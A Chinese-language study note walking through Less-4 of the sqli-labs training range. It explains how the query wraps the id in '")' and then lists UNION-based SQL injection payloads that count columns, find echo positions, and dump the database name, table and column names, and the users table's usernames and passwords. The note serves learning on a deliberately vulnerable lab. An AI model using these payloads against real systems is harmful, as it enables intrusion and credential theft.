sqli-labs学习笔记4

less-4

打开靶场


查看源代码，可以看到28行，对传入的id加了个"",然后传入sql语句中有加了()，最后在sql语句中的形式为，(‘‘id’’),传入查询，要进行sql注入，我们得将前面的(“闭合，并将后面的”)注释掉，从而实现联合语句的查询。

查询字段数

id=1")order by 3 --+

没有显示报错。
id=1") order by 4 --+

看到报错了，确定字段数为3.

查看回显位

id=-1") union select 1,2,3 --+

这里我们可以看到回显上写的为2,3，确定了回显位

查看数据库名与数据库版本

id=-1") union select 1,database(),version() --+

从返回的参数来看，可以确定数据库为:security

爆破数据库表

id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = ‘security’ --+

得到对应的表名

爆破数据库users表的字段名

id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’ --+

得到字段名。

爆破数据库users表的数据

id=-1") union select 1,2,group_concat(username,id,password) from users --+

最后得到完整的数据信息。